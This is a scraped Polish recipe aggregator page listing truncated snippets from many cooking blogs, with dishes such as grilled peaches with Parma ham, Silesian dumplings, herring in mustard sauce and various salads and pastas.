Sezon na brzoskwinie trwa dziś mam dla Was grillowane brzoskwinie o smaku wędzonki nadziewane wiejskim białym serkiem podane z szynką parmeńską z sosem malinowym. Niektórzy z Was pomyślą dość nietypowe połączenia smakowe. Czasami lubię eksperymenty w kuchni. Niektóre sprawdzają się w mniejszym bądź większym stopniu. W tym przypadku to był strzał w 10:) Deser? przystawka ze "palce lizać

Kulinarne pyszności Molki
Grillowany pstrąg z warzywami i sosem jogurtowym 205

Grillowanie jest jednym z moich ulubionych sposobów obróbki termicznej. Pogoda dopisuje zapraszam na grillowanego pstrąga w otoczeniu nadziewanej grillowanej pieczarki z sosem jogurtowym. Do przygotowania potrawy wykorzystałam mieszankę naturalnych przypraw PdP-VEGA Prowansalska. do nabycia w sklepie Tradismak. Mieszanka bardzo dobrze się sprawdza w kuchni, na grillu w ogrodzie. Składniki

Kulinarne pyszności Molki
Makaron penne z sosem paprykowym 167

Makaron „1000 pomysłów, jedna Lubella”. Sezon na paprykę powoli dobiega końca, zachęcam do przygotowania dietetycznego pysznego sosu z papryki z makaronem razowym penne.Danie jest bardzo lekkie, zdrowe. Składniki 1 szkl makaronu penne razowego Lubella 1 papryka czerwona 1 papryka żółta 1/2 szt cebuli

Kulinarne pyszności Molki
Łosoś pod pierzynką podany z sałatką 194

pestek dyni. Składniki 150g łososia 1 opakowanie makaronu muszelki ¼ szkl pestek z dyni ¼ szkl ziaren słonecznika ¼ szkl siemienia lnianego ¼ szkl sezamu Rudola Pomidorki koktajlowe Olej z pestek dyni Sos teryiaki Naturalny dym wędzarniczy Sól, pieprz do smaku

Kulinarne pyszności Molki
Biobrain – recenzja sklepu 149

sprawia mi wielką przyjemność. Kiedy nie mam pomysłu co ugotować, wystarczy sięgnąć do szafki z “przydasiami” i jest pomysł na obiad. Moja szafka z tymi różnymi tepenadami, egzotycznymi sosami, ciasteczkami i słoikami warzyw nazywa się “szafką zombie”. Jak kiedyś będzie apokalipsa zombie, to zapraszam do mnie. Na pewno mam tam zapasy na kilka miesięcy. Niestety będą to głównie dodatki

Ugotowane pozamiatane
Kapusta czerwona z rodzynkami 230

lubi śląski obiad czyli "modro kapusta", kluski śląskie, rolada i dużooo sosu? To mam dla was przepis na trochę inną kapustę. Ta jest ze zrumienioną cebulką, czosnkiem i rodzynkami. Do śląskiego obiadu nadaje się idealnie. Składniki: 0,5 główki czerwonej kapusty (około 800g) 1 średnia cebula 2 ząbki czosnku 1 garść rodzynek sułtanki 2 łyżki oleju kokosowego 2 listki laurowe

Ala piecze i gotuje
Schab w galarecie 201

plastry i zalany tężejącą galaretą. Zajadliśmy się tym daniem, myślę, że warte jest przypomnienia bo będzie ozdobą każdego świąteczego stołu jak również znakomitym uzupełnieniem karnawałowego bufetu. Świetnie smakuje z sosem chrzanowym lub tatarskim. Składniki: 500 g schabu 2 marchewki 1 mała pietruszka kawałek selera kawałek pora 2-3 listki laurowe kilka kulek ziela angielskiego sól, pieprz sok z cytryny

Gotuj zdrowo!Guten Appetit!
Klopsiki z orzechów włoskich 174

wcześniej wspomniałem, u mnie klopsiki z orzechów włoskich skończyły w picie , natomiast bardzo fajnie będą pasowały również wpakowane do środka chlebków naan , tortilli czy podane na makaronie z sosem pomidorowym. możesz upiec do nich ziemniaczki i podać z surówką. Jak lubisz, tak zjedz. Klopsiki tak czy siak będą świetnie smakowały. Obejrzyj, a jeśli filmik Ci się spodobał, to zostaw łapkę

Blendman
Szprotka w chlebowym pulpecie 184

Czasami mamy czerstwy chleb. Można wykorzystać w połączeniu z zapomnianymi szprotkami. Do tego dowolny sos, sałata i obiad gotowy.  Składniki 600 g czerstwego żytniego chleba na mleku szklanka warzywnego bulionu olej 1 cebula 1 ząbek czosnku puszka wędzonych szprotek w oleju puszka szprotek w pomidorach 2 jajka 3 suszone pomidory w oliwie kilka czarnych oliwek bez pestek suszony tymianek

R'n'G Kitchen
Churros - pyszne Hiszpańskie zawijaski. 609

zapewne wiecie Churros to przepyszny Hiszpański deser posypany cukrem pudrem lub podawany z sosem czekoladowym. Przepis znalazłam w książce Ani Starmach. Ja swoje rurki podałam bez żadnych dodatków dla mnie taka wersja bez niczego jest wystarczająco słodka. Zapraszam do wypróbowania bo są bardzo proste w wykonaniu :) Składniki : 200 g mąki typ 550 100 g masła 4 jajka 200 ml wody

Sama słodycz i szczypta chili
Kluski Śląskie 188

sprawdzony, domowy, prosty i szybki przepis na kluski śląskie. Idealne jako dodatek do wszelkich sosów i innych obiadów. Zapraszam do spróbowania.  Składniki: * ugotowane ziemniaki (około 5 dużych na dwie lub trzy osoby) * mąka ziemniaczana * jajko Długość przygotowywania: 20 minut Poziom trudności: Łatwy Porcja: 4 osoby Kaloryczność: Średnia Ziemniaki gotujemy. Możemy je lekko rozgotować, wtedy lepiej przeciśniemy je przez praskę

Klasyka Gotowania
Domowy hamburger 196

twarda. Jeśli wolicie możecie bułki przypiec trochę dłużej. Dolną część bułki smarujemy majonezem. Kładziemy kolejno dowolne dodatki. W moim przypadku: ogórek, kotlet, pomidor. Na końcu naszej piramidki dodajemy kolejny sos czyli ketchup. Kładziemy drugą część bułki. Gotowe!  Najlepiej odczekać po pieczeniu kotletów i bułek około 2-3 minut. Podany przepis na hamburgera jest przepisem gdzie hamburger w 80% zostaje

Klasyka Gotowania
Makaron z kurczakiem i suszonymi pomidorami 138

Pyszny, włoski i klasyczny przepis na makaron z piersią kurczaka w sosie pomidorowym z dodatkiem suszonych pomidorów. Przepis jest jak zwykle bardzo prosty, a w dodatku szybki w zrobieniu. W tym przepisie użyłam makaronu penne, ale na pewno będzie tak samo smaczny z spaghetti lub świderkami. Polecam bardzo serdecznie :) Składniki: * 3 szklanki makaronu  * 2 duże piersi z kurczaka * sól

Klasyka Gotowania
Wołowina z marchewką 114

szklanki. Do miski wsypujemy 4 łyżki mąki i wlewamy około 5 łyżek wody, roztrzepując wszystko aby powstała gęsta zatrzepka. Wlewamy zatrzepkę do marchewki, ciągle mieszając. Powstanie nam coś jakby sos. Danie gotowe podajemy z utłuczonymi ziemniakami i gotową wołowiną. Smacznego

Klasyka Gotowania
Placki ziemniaczane 221

Proste i szybkie w wykonaniu, placki ziemniaczane. Można je podawać z solą, cukrem, sosem, lub śmietaną. Pole popisu jest tutaj w 100% Wasze :) Przepis jest sprawdzony, i zawsze wychodzą idealnie upieczone i idealnie dopieczone, musicie spróbować :) Składniki * 1kg ziemniaków * jedna mała cebula * ząbek czosnku (opcjonalnie) * 1 łyżeczka soli * 1/4 łyżeczka pieprzu * 2 jajka * 4-5 łyżek mąki Ziemniaki trzemy

Klasyka Gotowania
Sałatka warstwowa z komosą i tuńczykiem 192

dłoniach, bez użycia noża. Wyszył idealne i odczarowałam sałatki z "żółtą posypką". Z podanej porcji przygotujecie porcję dla czterech osób. Składniki: 100g kosmosy ryżowej białej 170g tuńczyka w sosie własnym (jedna puszka) 170g kukurydzy (mała puszka) 100g sera żółtego 4 jajka ugotowane na twardo 4 ogórki kiszone czerwona papryka 2 łyżki majonezu do białek2 łyżki majonezu do sera sól, pieprz

Gotowanie i blogowanie
Muszle z mięsem mielonym 172

Niby zwykła zapiekanka makaronowa, a jednak nie aż tak. Od zwykłej zapiekanki różni się lekkością, jaką daje sos pomidorowy, pozbawiony gęstych dodatków. Nawet ten ser jakiś taki… lżejszy ;) 250-300 g makaronu conchiglioni 500 g wołowego mięsa mielonego 700 g passaty 200 g mieszanki sera: cheddar, mozzarella, parmezan czosnek, oregano, papryka mielona, garam masala Mięso podsmażyć krótko na patelni

Kucharzyca
KROKIETY Z KASZY JAGLANEJ Z PIECZONYM KURCZAKIEM I WARZYWAMI 202

pyszne, chrupiące krokiety z kaszy jaglanej z pieczonym kurczakiem i warzywami. Smakują fenomenalnie i jest to danie, które posmakuje również zapalonym mięsożercom. Świetnie smakują z odrobiną parmezanu albo sosem jogurtowo-koperkowym z odrobiną czosnku. Koniecznie spróbujcie! SKŁADNIKI: * kasza jaglana – 1 szkl * filet z kurczaka – ok. 200 g * duża cebula – 1 szt * czosnek – 2 ząbki * marchew

Ostra na Słodko
CURRY Z KURCZAKA I Z WARZYWAMI 206

rumiano. Międzyczasie do garnka o grubym dnie dodaję łyżkę oleju kokosowego a następnie dodaję warzywa.Duszę ok 6 min co jakiś czas mieszając.  Do kurczaka dodaję sos sojowy, mleko kokosowe oraz pastę curry a następnie pod duszone warzywa, mieszam i duszę na mniejszym ogniu aż całość będzie gęsta. Na koniec dodaję drobno pokrojoną  natkę pietruszki

Gotowanie Patki
Zapiekanka z tortellini 166

osolonej wodzie. Pieczarki kroimy w plasterki, pora w piórka. Oba składniki podsmażamy na maśle. Kiedy sok z pieczarek odparuje, wlewamy bulion i śmietanę i dusimy do momentu, aż sos o połowę się zredukuje. Makaron przekładamy do miski, dodajemy pieczarki z porem, groszek i przyprawy. Całość mieszamy i wykładamy do naczynia żaroodpornego, posypujemy startym serem i zapiekamy około 20 minut

e-PrzepisyKulinarne
Tarta z ciasta francuskiego z boczkiem, serem feta i gruszką w occie 165

plastry. Roztrzepałem jajka ze śmietaną, dodałem tymianek, doprawiłem solą i pieprzem. Ciasto wyjąłem z lodówki, ułożyłem na nim plastry pomidora, na nich boczek, gruszkę i kostki sera. Całość zalałem sosem. Posypałem pokrojonym szczypiorkiem. Zapiekałem ok. 30 minut w piekarniku rozgrzanym do 200 stopni

R'n'G Kitchen
Aromatyczne piersi z kurczaka, smażone w głębokim tłuszczu 982

Jeśli lubicie kurczaka, mam dla Was pomysł na piersi, smażone w głębokim tłuszczu. Mięso przygotowane w ten sposób jest delikatne, miękkie i bardzo soczyste. Podaję je zawsze z sosem czosnkowym i sałatką z kapusty pekińskiej lub sałatką colesław . Potrzebujemy: pierś z kurczaka (moja ważyła 650 g) 0,5 litra - 1 litr oleju rzepakowego do smażenia Składniki marynaty do mięsa

Smak mojego domu
Bezglutenowe pierogi z batatem i twarogiem bez laktozy 196

placki i wykrawamy kółka szklanka jak na zwykle pierogi. Nakładamy farsz, delikatnie obgotowujemy. Możemy je podawać w ten sposób, jak u mnie. Będą bardzo aromatyczne. Dusimy je w sosie pomidorowym, posypujemy bazylią, bądź natką pietruszki i parmezanem.OSOBY ,KTÓRE NIE TOLERUJĄ LAKTOZY MOGĄ JEŚĆ PARMEZAN ! WIĘCEJ  W TYM MIEJSCU Rewelacyjne w smaku, pyszne

Z Kuchni Do Kuchni
Szaszłyki drobiowe z piekarnika. Szaszłyki hawajskie. 219

Składniki: 250 g fileta drobiowego czerwona papryka pół świeżego ananasa Marynata: imbir 2cm ząbek czosnku 2 łyżki oliwy z oliwek łyzka sosu sojowego łyżeczka miodu łyżeczka pieprzu łyżeczka ziół prowansalskich łyżeczka sezamu Wykonanie: Filmik instruktażowy

Atlas Smaków
Gofr ziemniaczany z chutneyem jabłkowo-musztardowym 163

Wielka Brytania. Obowiązuje tam ciekawa wariacja na temat gofra - gofer ziemniaczany. Jak ważne są ziemniaki przekonali się mieszkańcy okupowanej przez nich Irlandii w 1845 roku.  Jabłka w postaci sosu chutney zostały zaadaptowane z innego kraju, który był przez nich okupowany czyli Indii. Oczywiście z wyraźnymj smakiem octu, powstałym po dodaniu musztardy, czyli bardzo po brytyjsku, gdzie nawet frytki kropi

Kryzysowa Książka Kucharska
Kolorowe pęczotto z kurczakiem 193

olej kokosowy. Wrzucamy na niego czerwoną cebulę i szalotkę, smażymy, aż zmiękną. Dodajemy paprykę, czosnek i część koperku. Całość mieszamy i smażymy kilka minut. Następnie dodajemy kurczaka i odprawiamy sosem sojowym. Po kilku minutach dodajemy pęczak i zalewamy bulionem warzywnym. Smażymy, aż kasza wchłonie cały bulion. Pod koniec doprawiamy solą i pieprzem oraz koperkiem. Kolorowe pęczotto z kurczakiem posypujemy resztą

My Chcemy Jeść
PIECZONE ZŁOTE UDKA BEZ SKÓRY 351

PIECZONE ZŁOTE UDKA BEZ SKÓRY Udka to mięso jedno z najczęściej używanych mięs w kuchni. Pieczone czy smażone smakują rewelacyjnie. Nie pogardzę tymi w sosie. Moja wersja jest bez skórki, dzięki czemu są mniej tłuste. Najpierw zamarynowane, a potem obtoczone w mące kukurydzianej i podsmażone na średnim ogniu, dzięki czemu mięso zachowało swoje soki. Następnie zostały upieczone na złocisty kolor

Kuchnia Paulettes
Bezglutenowa śniadaniowa pizza z dżemem, "serem" z nerkowców i owocami 209

pizza, a w dodatku jest zdrowa i szybka w przygotowaniu. Spód jest bezglutenowy, zrobiony na mące z quinoy i mące kasztanowej z dodatkiem inuliny, która jest doskonałym probiotykiem. Zamiast sosu pomidorowego świetnie sprawdzi się prozdrowotny dżem Łowicz z dzikiej róży. Polecam go szczególnie teraz zimą, ponieważ jest skarbnicą witaminy C i wspomaga naszą odporność w walce z atakującymi nas zewsząd

Quinoa Raz!
Ulubieńcy stycznia 169

Styczeń już za nami, dlatego przygotowałam dla Was kolejny wpis z ulubieńcami miesiąca.  Pierwszym ulubieńcem w tym miesiącu jest sos beszamelowy marki Valsoia. I dealnie nadaje się do lasagne, zapiekanek oraz wielu innych dań. Mi najbardziej zasmakował z naleśnikami bolognese. Kolejnym ulubieńcem jedzeniowym jest zielona soczewica. Nie wiem dlaczego, ale wcześniej jadłam tylko soczewice czerwoną. Dopiero pod koniec grudnia

wegujemy
PULPETY PIECZONE Z INDYKA I MOZZARELLĄ 183

wkładam mięso mielone. Smażę na rumiano z dodatkiem przypraw.  Kiedy mięso będzie usmażone dodaję koncentrat i przecier pomidorowy oraz ok 100 ml wody. Mieszam wszystko i duszę, aż sos zrobi się gęsty. Na koniec dodaję posiekaną natkę pietruszki oraz makaron. Całość mieszam, podaję na ciepło

Gotowanie Patki
SZYBKI ZIELONY MAKARON Z MIĘSEM 168

wkładam mięso mielone. Smażę na rumiano z dodatkiem przypraw.  Kiedy mięso będzie usmażone dodaję koncentrat i przecier pomidorowy oraz ok 100 ml wody. Mieszam wszystko i duszę, aż sos zrobi się gęsty. Na koniec dodaję posiekaną natkę pietruszki oraz makaron. Całość mieszam, podaję na ciepło

Gotowanie Patki
Sałatka z pęczakiem na słodko 205

Kasza pęczak zawitała w mojej kuchni jakiś czas temu. Jest bardzo smaczna i pożywna. Doskonała jako dodatek do mięs w sosie jak również zup. Tym razem pęczak przygotowałam w słodkiej odsłonie w postaci sałatki z dodatkiem bakalii oraz pomarańczy. Sałatka jest bardzo smaczna i sycąca, doskonała na śniadanko jak i na deser. Do przygotowania sałatki użyłam pęczaku kujawskiego Kuchnialidla.pl który

Monia miesza i gotuje
Pieczona czerwona kapusta 172

serem pleśniowym można podawać jako osobne danie lub jako część większego posiłku. Zaskakująco smaczna i bardzo prosta w wykonaniu. mała główka czerwonej kapusty niebieski ser pleśniowy ( wasz ulubiony ) sos ze zredukowanego balsamico

Polska Zupa
Sałatka z kuskusem i warzywami 319

wierzchu układamy oliwki. Oliwę z oliwek mieszamy z przyprawami, dodajemy wyciśnięty przez praskę czosnek oraz sok z cytryny. Gotowym dressingiem polewamy sałatkę. Możemy również dodać do sałatki musztardę oraz sos sojowy. Na suchej patelni podprażamy słonecznik, następnie posypujemy nim wierzch sałatki

kulinarne odsłony pati
Gołąbki na ostro z ryżem, kaszą i pieczarkami 213

nią. Gołąbki pieczemy ok. 60 - 80 min w 190°C, 10 -15 min przed końcem ściągamy folię. Gołąbki powinny się ładnie przyrumienić. Gołąbki  można podać z ulubionym sosem lub podsmażonymi na maśle pieczarkami. Smacznego

Moniki Smakołyki
Krokiety staropolskie 214

Zeszklić na patelni. Ziemniaki, biały ser bardzo dokładnie wymieszać (proponuję użyć praskę do ziemniaków). Doprawić do smaku solą i pieprzem. W naleśniki zawijać farsz. Panierować i podsmażyć My zrobiliśmy sos pieczarkowy ale świetnie pasowałby również jogurtowy czy ziołowy

Ania i Marcin gotują
PUSZYSTE RACUCHY Z DYNI Z RICOTTĄ I MĄKĄ GRYCZANĄ 168

kobieca) decyzja: to chyba już.  Zerwaliśmy ją. Przyniosłam do domu. Zachwyt trwał dopóki nie odpowiedziałam na pytanie co z niej zrobimy. Jak to co? Wszystko. Ciasteczka, zupę, sos, racuszki… Wykrzywione miny Maluchów i głośne "bleee". "To niedobre "-nie uwierzyli, że w zeszłym roku zajadali się dynią. Moje dzieciaczki uwielbiają racuchy-  spróbujmy od tego. Przygotowałam ciasto, zaczęłam smażyć. Cały

OliveandThyme
MARYNOWANE ŚLEDZIE W SOSIE MUSZTARDOWYM 192

łyżeczki miodu sól, pieprz do smaku opcjonalnie posiekany koperek Przygotowanie Śledzie pokrójcie na małe kawałki. Musztardy połączcie ze śmietaną i majonezem, dodajcie miód, sól i pieprz, dokładnie wymieszajcie. Do sosu wrzućcie pokrojone śledzie oraz koperek, jeśli używacie. Przełóżcie do słoika, zakręćcie i odstawcie do lodówki

OliveandThyme
ŚLEDZIE W SOSIE JOGURTOWYM Z MAŚLANKĄ 172

jabłkiem, najlepiej w pojemniku, który będzie można zamknąć. Jogurt wymieszajcie z maślanką i majonezem. Doprawcie pieprzem, jeśli trzeba solą (przy filetach solonych uważajcie!), dodajcie liść laurowy i ziele angielskie. Sosem zalejcie przygotowane filety wraz z dodatkami. Wstawcie na 2 dni do lodówki

OliveandThyme
SMAŻONY KUSKUS Z CEBULĄ I MOZZARELLĄ 171

rumieniąc jej zbyt mocno, najlepiej wcale, raczej zeszklijcie. Do miękkiej już cebuli dołóżcie koncentrat pomidorowy, sól, pieprz, cukier i chwilę przesmażcie, spróbujcie, całość powinna być słodko-winna. Tak przygotowany sos zmieszajcie z kuskusem, porwanymi kawałkami mozzarelli, posypcie natką pietruszki i czosnkiem niedźwiedzim, dokładnie wymieszajcie, spróbujcie i jeśli potrzeba jeszcze doprawcie. Na patelni lub w rondlu roztopcie trochę masła klarowanego. Włóżcie

OliveandThyme
MAKARON Z PIECZONYM KALAFIOREM, PARMEZANEM I NATKĄ PIETRUSZKI 205

makarony to nasza miłość, wie każdy, kto zna nas choć trochę. Możemy jeść je codziennie, pod każdą postacią. W sosach, z warzywami, owocami, twarogiem (i skwareczkami!), zupełnie bez niczego, w sałatkach, zapiekankach… Prosty, szybki i smaczny sposób na jedzenie. Ten makaron jednak, to nasz hit tego lata. Przygotowanie trwa zaledwie tyle, ile piecze się kalafior, a smak czuć jeszcze długo

OliveandThyme
PYSZNE KOTLETY Z INDYKA Z CHEDDAREM 194

filetów z indyka 5 jaj 2 cebule 5 łyżek dobrego oleju/oliwy 5 łyżeczek mąki ziemniaczanej 200 g sera Cheddar 3 łyżeczki czosnku niedźwiedziego 2 łyżeczki papryki słodkiej 2 łyżki sosu sojowego papryka chili w płatkach, pieprz, sól masło klarowane do smażenia Przygotowanie Filety i cebulę pokrójcie w kostkę, ser zetrzyjcie na tarce. Wszystkie składniki wymieszajcie dokładnie w jednej misce, Doprawcie

OliveandThyme
SAŁATKA Z MŁODYCH BURAKÓW I ZIEMNIAKÓW 209

wymieszajcie z solą, łyżką octu jabłkowego i odstawcie. Ugotowane buraki obierzcie, również pokrójcie w kostkę, dodajcie do ziemniaków. Posiekajcie liście botwinki. Z majonezu i przeciśniętego przez praskę czosnku zróbcie sos. Dodajcie do smaku ocet jabłkowy (lub sok z cytryny), cukier, sól i pieprz, wymieszajcie i połączcie dokładnie z ziemniakami i burakami. Posypcie posiekaną botwinką (możecie ja również wmieszać do sałatki

OliveandThyme
SAŁATKA Z BOBEM, TUŃCZYKIEM I MAKARONEM 175

dowolnego makaronu (u nas gemelli) ok 200-300 g bobu 3-4 pomidory (lub odpowiednia ilość pomidorków koktajlowych) 4 jaja 1 (lub więcej) puszka tuńczyka w sosie własnym 1 (pół?) pęczek dymki dressing: 2 łyżki majonezu 2-3 łyżki jogurtu naturalnego 2 łyżeczki ostrej musztardy (u nas rosyjska) 2 łyżeczki ketchupu dobra sól, świeżo zmielony pieprz Przygotowanie Najpierw przygotujcie dressing

OliveandThyme
FRUŻELINA Z WIŚNI 177

cytryny i mąkę ziemniaczaną rozpuszczoną w 2 łyżkach zimnej wody. Zagotujcie i ściągnijcie z ognia. Żelatynę zalejcie łyżką zimnej wody, pozostawcie do napęcznienia.  Napęczniałą żelatynę wsypcie do gorącego sosu owocowego, mieszajcie do rozpuszczenia żelatyny (jeśli trzeba podgrzewajcie nie dopuszczając do zagotowania). Ciepłą frużelinę przelejcie do słoiczka

OliveandThyme
MAKARON Z KURKAMI I ŁOSOSIEM W SEROWYM SOSIE 195

Posiekajcie szalotkę i natkę pietruszki, kurki oczyśćcie i, jeśli trzeba, pokrójcie (ja daję w całości). Ugotujcie makaron, koniecznie al dente (nie przelewajcie go zimną wodą!). Podczas gotowania makaronu przygotujcie sos: Na maśle zeszklijcie szalotkę, dodajcie do niej kurki; chwilę przesmażcie. Smażąc dalej dołóżcie łososia i po minucie, dwóch dolejcie wino. Po następnych kilku minutach, kiedy wino zredukuje się zupełnie, dodajcie

OliveandThyme
SAŁATKA Z FASOLKI SZPARAGOWEJ, TUŃCZYKA I POMIDORÓW 156

Składniki ok 500 g fasolki szparagowej (u nas żółta, szeroka) 1 cebula 2 małe lub jedna duża puszka tuńczyka w sosie własnym 2-3 pomidory posiekana natka pietruszki trochę masła do smażenia sól, świeżo zmielony pieprz ocet balsamiczny  Przygotowanie Fasolkę umyjcie, pokrójcie na kawałki, ugotujcie w wodzie z dodatkiem soli i cukru, po ugotowaniu przelejcie zimną wodą. Posiekajcie cebulę

OliveandThyme
Placki z kiszonej kapusty 204

tłuszcz i smażymy, formując nie za grube placuszki, aż do zrumienienia z obu stron. Można je podawać jako dodatek do choćby mięsnych potraw, albo jako samodzielne danie z ulubionym sosem, na przykład czosnkowym

Pichceniomania
Kotlety z tuńczyka i czerwonej fasoli (w drodze wyjątku) 236

zapakowania i zabrania ze sobą, jako element posiłku jedzonego poza domem. Podawane na przykład ze świeżą sałatą i pomidorami. Składniki na około 6-8 kotletów: 2 puszki tuńczyka w sosie własnym (szukajmy pole & line ) 1 puszka czerwonej fasoli (odsączonej z zalewy i przepłukanej na sicie) lub około 250g ugotowanej czerwonej fasoli 1 średnie jajko szalotka lub 3 łyżki posiekanego

Even Better Food
Hummus – podstawowy przepis 260

Hummus – to potrawa wywodząca się z Lewantu i Egiptu, sos dip lub pasta do smarowania, przyrządzana z gotowanych i przetartych nasion ciecierzycy. Ostatnio coraz popularniejsza – dziś podstawowy przepis na to danie! Puszka (400g.) ciecierzycy [waga razem z zalewą] lub ok 150g. ciecierzycy suchej. 1 łyżeczka soku z cytryny 1-2 ząbki czosnku 5 łyżek pasty tahini 1 łyżeczka kuminu

MarcinChef
Sałatka z wędzoną makrelą i pomarańczą 272

ryby usunąć ości i podzielić na małe kawałki.  5. Przygotować winegret pomarańczowy. 6. Pomarańcz wyfiletować. 7. Sałatę posypujemy selerem naciowym, wędzona makrelą i cząstkami pomarańczy. Polewamy sosem i posypujemy orzechami oraz szczypiorkiem. Film instruktażowy

Atlas Smaków
Ziemniaki po grecku – dodatek do obiadu 2995

zrumienienia przez kolejne 35-40 minut. Na ostatnie 5 minut, dla lekkiego przyrumienienia, warto włączyć termoobieg – ale nie jest to absolutnie konieczne. My zjedliśmy je razem z pysznym sosem, którego trochę pod ziemniakami zostaje, do greckich szaszłyków souvlaki . Jako ‘surówkę’ koniecznie spróbujcie do tego zestawu mojego gęstego, przepysznego i niesamowicie świeżego tzatziki . Idealne będą do wszystkich smażonych, gotowanych lub pieczonych

Karo in the Kitchen
Pomysł na… rybę w pomidorach 156

Niniejszym robię Wam smaka na rybę w sosie pomidorowym. Mam nadzieję, że mi się uda. Ja już objedzona po uszy, ale nadal ślinka mi cieknie na myśl o niej. Danie robi się szybko, a smakuje obłędnie, jak z najlepszej restauracji! Koniecznie spróbujcie. 2 porcje: 400 g ryby, u mnie pstrąg 400 g pomidorów w puszce 0,5 papryczki chilli

Kucharzyca
Tarta z burakami i serem feta. 180

także buraki kroimy w kostkę. Wyjmujemy foremkę z lodówki. Na cieście wykładamy szpinak, następnie pokrojoną szynkę i buraki. W misce mieszamy jajka ze śmietaną i przyprawami. Wylewamy sos na tarte. Na wierzchu układamy kawałki sera. Wstawiamy do nagrzanego piekarnika do 180C i pieczemy około 40 min aż się zetnie i zarumieni. Podajemy na ciepło, chociaż na zimno też zasmakuje

Radość kipiąca uśmiechem.
Ryż na mleku z truskawkami 206

stole, a ja najbardziej lubiłam dodawać jeszcze konfitury truskawkowej, żeby przełamać tę mleczno-ryżową słodycz. Dziś urządziłam sobie dzień dziecka i na śniadanie ugotowałam ryż na mleku. Do tego sos truskawkowy i łyżką jogurtu - ależ pysznie wyszło!  Do ryżu nie dodaję cukru - słodycz mleka i owoców w zupełności mi wystarcza. Jeśli jednak wolicie bardziej słodkie dania, dosypcie łyżeczkę cukru

Obiad gotowy
Farszynki Z Mięsem Z Rosołu 213

nakładamy na środek farsze. Zalepiamy szczelnie, tworząc owalny kształt bądź podłużny ;) 6. Smażymy na rozgrzanym oleju, na niewielkim gazie do momentu aż farszynki się ładnie zrumienią. Podajemy z ulubionym sosem, sałatką bądź z barszczykiem czerwonym

Gotowanie...to proste !
Dorsz smażony z kozim serem 170

Bardzo proste w przygotowaniu danie, a zarazem bardzo smaczne i ładnie prezentujące się. Do ryby polecam frytki i miks sałat z sosem winegret. Koniecznie musicie spróbować ;-) Porcja dla 2 osób. SKŁADNIKI 2 filety z dorsza bez skóry 1/2 cytryny 4 plasterki sera koziego sól, pieprz olej rzepakowy do smażenia WYKONANIE Filety umyć i osuszyć ręcznikiem papierowym. Można zostawić w całości

Passions hobbies life
Ryżowa sałatka z kurczakiem i ogórkiem 251

Ryż gotujemy w osolonym wrzątku według czasu podanego na opakowaniu. Odsączamy i przekładamy do miski. Na patelni rozgrzewamy 2 łyżki oleju i smażymy kurczaka. Przekładamy całość, łącznie z powstałym sosem do miski z ryżem. Mieszamy i odstawiamy do ochłodzenia. Ogórki kroimy w plasterki (lub półplasterki, jeśli ogórki są duże). Łączymy z resztą składników. Majonez łączymy z 1 łyżką musztardy, doprawiamy

Smaki Na Talerzu
Czekoladowa fontanna, czyli ślub pełen słodyczy 301

Któż z nas nie kocha czekolady? To jeden z najstarszych smakołyków. Obecnie możemy ją kupić w najróżniejszych wersjach: tabliczki, pralinki, pyszne czekoladowe ciasta, ciasteczka, lody z sosem czekoladowym, słodkie czekoladowe desery, a nawet czekoladowa kawa… Mleczna, gorzka, z bakaliami, biała… Aż ślinka cieknie na samą myśl. Trudno przejść obojętnie obok półek z czekoladą, stoiska z czekoladowymi ciastami

Słodkie okruszki
Schab pieczony – jak upiec schab w całości 310

żurawinę. Zrumień lekko. Schab pieczony to prawdziwy rarytas, jeśli jest poprawnie przyrządzony. Idealnie pasuje z brukselką. Podaję go do tłuczonych ziemniaków. Sky z mięsa można wykorzystać do brązowego sosu . The post Schab pieczony – jak upiec schab w całości appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Pieczone żeberka z ziemniakami 177

kroimy na większe kawałki, myjemy, osuszamy. Sól, paprykę słodką i ostrą, czosnek, majeranek, pieprz mieszamy z olejem. Do rękawa przekładamy, cebulę pokrojoną w piórka, mięso i ziemniaki, łączymy z sosem i zamykamy. Całość zapiekamy 40 min w 180°C. Podajemy z kapustą kiszoną zasmażaną

R'n'G Kitchen
Kubańskie cygara z wieprzowiny 564

papryce . Odstawiamy na godzinkę do lodówki , smaki się przenikną , a mięso stężeje . Smażymy na oleju z obu stron na złoty kolor . Podajemy na gorąco lub na zimno , najlepiej z sosami lub dipem Smacznego !   Post Kubańskie cygara z wieprzowiny pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Kluski śląskie 472

Kluski wrzucamy na wrzącą wodę i gotujemy ok. 2 minut od wypłynięcia. Wybieramy łyżką cedzakową i przekładamy do miski. Podajemy z roladą wołową lub wieprzową, innym mięsem z sosem lub z podsmażonym boczkiem.  Smacznego

bistro mama
Pieczone placki ziemniaczano-twarogowe 320

twarogowego i gotowanych ziemniaków. Dzięki pieczeniu w piekarniku środek jest miękki, a skórka robi się lekko chrupiąca. Mogą stanowić dodatek do obiadu lub samodzielne danie. Można podawać np. z sosem grzybowym i ulubioną surówką. 600 g ziemniaków 250 g sera twarogowego półtłustego 1 średnia cebula 2 łyżeczki pieprzu szczypta soli 3 czubate łyżki mąki ziemniaczanej 1 jajko 1 łyżka oleju

Bullio
Kulisy fotografii kulinarnej: Jakie naczynia wybierać do zdjęć jedzenia? + Linkowe Party 189

lubię misek głębokich, bo wtedy całe jedzenie jest w nich "schowane" i nie widać go na zdjęciu. Wybieram miski płytkie i szerokie, raczej o niedużej średnicy: 10 cm do sosów, 15 cm do zupy krem i past kanapkowych, 20-24 cm do zup i sałatek. Mam też całą kolekcję bardzo małych miseczek ok. 5 cm na sól, pieprz i inne

Chilli Czosnek i Oliwa
KURCZAK W SUSZONYCH POMIDORACH 181

suszone kroimy w drobną kostkę i posypujemy nimi podudzia. Naczynie przykrywamy i wstawiamy do piekarnika nagrzanego do 190 stopni na 40 min. Po tym czasie, naczynie odkrywamy, podudzia polewamy sosem z dna naczynia i pieczemy jeszcze przez 10-20 min., już bez przykrycia. Podajemy z ulubionymi dodatkami. U mnie to pieczone zi emniaczki ->  przepis

Kuchnia MagdaLeny
SAŁATKA Z KURCZAKIEM I SEREM FETA 2797

strzępimy dłońmi.  Składniki układamy warstwowo: sałata, posypujemy papryką, oliwkami, kurczakiem i powtarzamy czynność, aż do skończenia składników. Z 3 łyżek oliwy i 1 łyżki soku z cytryny robimy sos i polewamy gotową sałatkę. SMACZNEGO

Prosto i Smacznie z Anetą
Fasola mung w pomidorach z jajkiem na pożywne śniadanie 190

